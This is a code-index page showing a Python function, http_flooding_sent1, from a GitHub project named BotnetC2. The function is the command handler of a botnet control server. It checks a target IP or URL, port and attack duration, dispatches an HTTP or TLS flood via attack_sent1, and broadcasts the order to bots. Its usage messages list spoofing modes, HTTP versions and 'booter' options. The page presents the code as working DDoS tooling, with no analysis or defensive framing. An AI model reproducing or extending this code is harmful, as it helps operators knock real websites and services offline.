MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / http_flooding_sent1

Function http_flooding_sent1

BOTNETc2/api.py:4–44  ·  view source on GitHub ↗
(args,mode, validate_port, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data)

Source from the content-addressed store, hash-verified

2import random
3
4def http_flooding_sent1(args,mode, validate_port, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data):
5 mode_type = mode.split('.')
6 mode_type = mode_type[1].lower()
7 num_check_len_command = 0
8 if mode_type == "cfb_sock" or mode_type == "http_sock":
9 num_check_len_command = 9
10 elif mode_type == "http":
11 num_check_len_command = 8
12 elif mode_type == "pyf" or mode_type == "tls_small":
13 num_check_len_command = 6
14 if len(args) == int(num_check_len_command):
15 ip = args[1]
16 port = args[2]
17 secs = args[3]
18 if validate_port(port):
19 if validate_time(secs):
20 send(client, ansi_clear, False)
21 attack_sent1(ip, port, secs, client)
22 broadcast(data)
23 else:
24 send(client, Fore.RED + 'Invalid attack duration (1-999999999999 seconds)')
25 else:
26 send(client, Fore.RED + 'Invalid port number (1-65535)')
27 else:
28 if mode_type == "cfb_sock":
29 send(client, f'Usage: .{mode_type} [IP/URL] [PORT] [TIME] [MODE_HEADER_SOCKET] [MODE_SENT] [VPH] [MODE] [BOOTER]')
30 send(client, "[MODE_SENT] <-- PYF NULL SPOOF HTTP PPS")
31 send(client, "[MODE] <-- OLD NEW")
32 send(client, "[VPH] <-- VERSION PROTOCOL HTTP (0.9 1.0 1.1 2.0 3.0)")
33 send(client, f'[MODE_HEADER_SOCKET] can only work with text upper | Example --> PATCH PUT PANOS LOL SERVER')
34 send(client, "# NOTE if you enter / end in url | botnet can't attack ")
35 elif mode_type == "http":
36 send(client, f'Usage: .{mode_type} [IP/URL] [PORT] [TIME] [MODE_HEADER_SOCKET] [MODE_SENT] [VPH] [BOOTER]')
37 send(client, "[MODE_SENT] <-- PYF NULL SPOOF HTTP PPS")
38 send(client, "[VPH] <-- VERSION PROTOCOL HTTP (0.9 1.0 1.1 2.0 3.0)")
39 send(client, f'[MODE_HEADER_SOCKET] can only work with text upper | Example --> PATCH PUT PANOS LOL SERVER')
40 send(client, "# NOTE if you enter / end in url | botnet can't attack ")
41 elif mode_type == "pyf" or mode_type == 'tls_small':
42 send(client, f'Usage: .{mode_type} [IP/URL] [PORT] [TIME] [MODE_HEADER_SOCKET] [BOOTER]')
43 send(client, f'[MODE_HEADER_SOCKET] can only work with text upper | Example --> PATCH PUT PANOS LOL SERVER')
44 send(client, "# NOTE if you enter / end in url | botnet can't attack ")
45
46def all_sent1(args,mode, validate_ip, validate_port, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data):
47 mode_type = mode.split('.')

Callers 1

command_lineFunction · 0.70

Calls 5

validate_portFunction · 0.70
validate_timeFunction · 0.70
sendFunction · 0.70
attack_sent1Function · 0.70
broadcastFunction · 0.70

Tested by

no test coverage detected